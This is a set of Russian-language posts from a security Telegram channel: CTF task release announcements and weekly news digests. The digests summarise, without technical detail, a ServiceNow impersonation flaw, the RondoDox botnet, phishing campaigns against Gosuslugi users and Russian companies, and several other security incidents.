Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥876
Новостной Дайджест #17

Половина Января пройдена, господа и дамы! Давайте-ка посмотрим, что приготовлено в новостях, мм?

🥷 Матрица?
В ServiceNow (американская компания, разрабатывающая ПО) нашли и закрыли неприятную дыру, которую назвали BodySnatcher. Смысл в том, что уязвимость давала возможность стать КЕМ УГОДНО в системе и делать то, что дают его права. Отсюда и название.
Самое интересное: для атаки не нужно взламывать пароль или обходить двухфакторку. Достаточно знать почту «жертвы» — и доступ тебе гарантирован. Работает даже если у человека админка.
Проблема касалась модулей, связанных с ИИ-агентами и виртуальным ассистентом, то есть там, где система сама может:
— создавать тикеты/задачи;
— запускать действия от имени пользователей;
— ходить в API и «решать вопросы» без ручного подтверждения;
— потенциально влиять на доступы, роли и внутренние процессы (в зависимости от прав жертвы).

Через эту связку и получалось взять такой контроль над целыми процессами компании, и выглядеть это будет максимально реально. ServiceNow уже залатала дыру, выпустив свежие обновления.
Источник

🧬 Эволюция ботнета
Обнаружили новую версию ботнета RondoDox — и тот уже сильно отличается от первой итерации. Если раньше он в основном бил по камерам или роутерам и использовал ограниченный набор уязвимостей, то теперь ботнет работает гораздо шире. Он пополнил запасы на более чем 75 эксплойтов и расширяет цели вплоть до корпоративных приложений.
Заражение у RondoDox v2 построено как многоступенчатая цепочка: сначала подтягивается shell-скрипт, затем — бинарник под нужную архитектуру устройства. Дальше ботнет старается закрепиться: отключить защитные механизмы системы, выгрузить некоторые процессы и встать на автозагрузку. Маскируется он с помощью обычного HTTP-трафика, а свои данные шифрует XOR’ом.
Но RondoDox не так уж и прост. Он имеет широкие возможности и для DDoS-атак: как от HTTP-флуда, так и до UDP-флуда. Индикаторы ботнета слиты, как и его сигнатуры. Новая версия ботнета использует открытые данные и почтовый адрес bang2013[@]atomicmail[.]io в коде, в HTTP-заголовках и внутри файлов на жёстком диске Подробности — в источнике.
Источник

🛠 Капремонт заказывали?
Напоследок есть забавная новость с ещё одним методом угона аккаунта Госуслуг. Специалисты из Angara MTDR предупредили о новой схеме мошенничества. Злоумышленники крадут доступ к аккаунтам на Госуслугах, прикрываясь темой капитального ремонта и «обязательного взаимодействия через цифровые сервисы», этакое новое законодательство.
Как работает:
— человеку кидают приглашение в Telegram-чат якобы «от региона/администрации»;
— дальше предлагают проверить корректность данных или «попасть в список работ по капремонту»;
— для «подтверждения» отправляют в якобы официальный бот Госуслуг;
— в процессе выманивают логин/данные входа и коды двухфакторки, после чего учётку можно быстро перехватить.

Отдельно отмечают, что иногда чат создают под одну конкретную жертву, а остальные «участники» — боты, которые имитируют активность и подталкивают человека действовать быстрее.
Напоминаю! Никакие органы не отправят вам требования или решения вопросов в ваш личный телеграмм/ВК/другой мессенджер (за МАКС не отвечаю).
Источник

Помните, в этом мире Вы можете стать кем захотите, всё зависит от вас! Хорошей вам недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥855
Опубликованы новые задания
Релиз #16

Три новые задачи доступны на площадке!

🟢 Misc / Бесконечность

🟡 Stegano / Новогодний смех

🔴 OSINT / Тонкий шпиль


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш 💬 чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // 💬 Чат // 📋 Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
16🔥55
Новостной Дайджест #18

Вечер воскресенья подкрадывается незаметно, а это значит, что надо посмотреть, что же там за новости недели. Открываем же!

🤖 Партейка в D&D с роботами
Может быть, кто-то из вас раньше с друзьями собирался играть в Dungeons & Dragons на выходных. Теперь это делают и нейронки, так сказать, имеют свой собственный блэкджек.
Суть в том, что профессора решили узнать слабые стороны в моделях, где и чего надо будет подкручивать. Специально под это сделали уникальную платформу D&D Agents, которая позволяет нейронкам играть как самим, так и взаимодействовать с людьми, но она ограничивает их возможность говорить о чём угодно, что позволяет минимизировать их галлюцинации.
Принимали участие в тестировании следующие модели: Claude, GPT-4o и DeepSeek. ИИ-агенты играли как друг против друга, так и против двух тысяч игроков в 26 различных сценариях.
Ну и что ж... В процессе игры модели начали странно вести себя... Гоблины начали приобретать личность прямо посреди боя, буквально могли высмеивать противников. Паладины без всякой причины начинали произносить героические речи, выходя на линию огня или попадая под контратаку. А маги становились драматичными даже в обыденных ситуациях.
В итоге учёные решили, что роботы пока не готовы заменить человека в партии DnD. Почитать исследование можете по ссылке здесь.
🌐 Источник

☺️ Это не то, о чём вы подумали!
Помните нейронку Grok, с которой можно завести отношения, если достаточно быть милым и говорить комплименты? У неё есть уровни привязанности, и на каждом уровне разговор идёт по-своему. Сначала холодно, а потом всё теплее и более открыто, ну и плюсом одежда также становится более открытая. Это к чему я. Компания Meta* качала пиратские 18+ фильмы. А когда к ним пришли правообладатели и начали предъявлять за использование контента в целях обучения ИИ, Мета ответила, что это всё для личного просмотра, а нейронки тут не при чём.
Интересно тут то, что качали именно с корпоративных айпишников. В итоге компания, которая и занимается производством этих фильмов, подала в суд на корпорацию за то, что та обучает «неанонсированную» взрослую модель ИИ. За это компания требует возмещение ущерба более чем на 350 миллионов долларов!
Ну и в ответ Meta отказалась возмещать ущерб, ссылаясь на то, что у компании нет достаточно весомых доказательств, а всё это лишь «догадки и намёки». К тому же Meta назвала истца «троллем на авторских правах». В источнике там ещё больше контраргументов, перечислять здесь все — тяжело, поэтому прошу пройти по ссылке, кому интересно.
*Запрещена в России; принадлежит компании Meta, признанной экстремистской организацией и запрещённой в РФ.
🌐 Источник

✉️ Вам письмо!
Не так давно фишинговая группировка PhantomCore (работает по российским и белорусским компаниям с 24 года) раздала волну рассылок на российские компании от ЖКХ до аэрокосмоса. 19 и 21 января появлялись рассылки с заголовком «ТЗ на согласование», при себе имеют LNK-файл и фейковый DOC-файл.
Когда пользователь жмякает на LNK-файл, то он, в свою очередь, запускает команду, которая подтягивает скрипт для PowerShell и запускает его. Это начинает первую стадию вредоноса. В это время открывается документ для отвода глаз, а сам вредоносник закрепляется через планировщик задач, который обновляется каждые 61 секунду для постоянного доступа.
Дальше идёт PowerShell-скрипт второй стадии: он общается с управляющим сервером злоумышленников — получает от него команды, выполняет их на компьютере жертвы и отсылает обратно результат исполнения.
Вот тебе и техническое задание. Жмякнул и слил всю инфу.
🌐 Источник

Вот как-то так. Ну что? Хотели бы сыграть с порно-роботом от Meta партейку в D&D, пока у вас на компе каждые 61 секунду обновляется какая-то программа? Звучит классно! Удачи всем!

———
#️⃣ #Новости

🐞 Канал // 💬 Чат // 📋 Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
18🔥54
Опубликованы новые задания
Релиз #17

Две новые задачи доступны на площадке!

🟢 Web / OGо какая картинка

🟢 Web / Портовая куртизанка


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш 💬 чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // 💬 Чат // 📋 Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
17🔥22
На улице холод. Берите чай и кутайтесь в плед, мы начинаем новости!

🚘 Тачки под атакой
Зимнее утро. Вы выходите на работу чистить машину ото льда и снега. Открываете машину... Открываете? Нет, это не дверь примёрзла. Это кибератака на охранную систему Delta.
Кибератака затронула возможность открывать машину, заводить и даже сигнализацию не сможешь отключить. Таких случаев было достаточно, и по словам некоторых автовладельцев с этой охранной системой, помогала только перепрошивка самой системы у официального дилера.
Машинами дело не закончилось. Сайт Дельты отказался работать, как и их горячие линии (на сегодняшний день сайт работает). Некоторые владельцы опасаются, что в ходе кибератаки могли слить какие-то персональные данные, но таких заявлений не поступало, а о самих хакерах вестей также нет, компания же на этот счёт — молчит.
🌐 Источник

🍞 Хлебный кризис
В ночь с 25 по 26 января хакеры, работающие три дня без зарплаты... атаковали крупнейшего производителя хлебобулочных изделий во Владимирской области. В связи с этой атакой были нарушены бизнес-процессы, из-за чего в регионе наблюдается заметное снижение хлеба на прилавках в магазинах.
Результат деятельности этих злоумышленников: побитая цифровая инфраструктура, недоступность рабочих компьютеров, серверов, электронного документооборота и системы 1С.
Компания заявила, что как таковой работоспособности эта атака не нарушила, поскольку она затронула только цифровую бизнес-сторону предприятия, а все хлебные изделия продолжают изготавливаться в штатном режиме. Сроков восстановления — не указано.
🌐 Источник

🐉 Китай, ИИ-агенты и Google
Специалист из Google (Линь-Вэй Дин), проработавший программистом 5 лет, решил попробовать себя в новой сфере и сделать свой бизнес в Китае. Дин начал встречаться с потенциальными инвесторами, которые могли быть заинтересованы в его будущей деятельности. Для своей новой работы ему всего лишь потребуется как можно больше информации об ИИ вообще в целом. Как они устроены, как управляются, какие чипы есть. И всю эту информацию он решил взять как раз таки на своей работе, прямо в Google.
Дин начал качать исходники прямо с рабочего MacBook из сети работодателя и переносить их в Apple Notes, а затем конвертировал в PDF и выгружал под своим аккаунтом в облако, чтобы выглядело это не так палевно. Выкачал он аж около двух тысяч документов.
Арест не заставил себя долго ждать, но вдобавок добавилась ещё одна статья по промышленному шпионажу. Дело в том, что Дин подал заявление на участие в программе по обеспечению как раз таки таких специалистов, как он, для Китая.
🌐 Источник

Надеюсь, вам понравились новости за эту неделю, потому что мне — уж точно. До встречи!

———
#️⃣ #Новости

🐞 Канал // 💬 Чат // 📋 Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
113🔥33👍2🤔2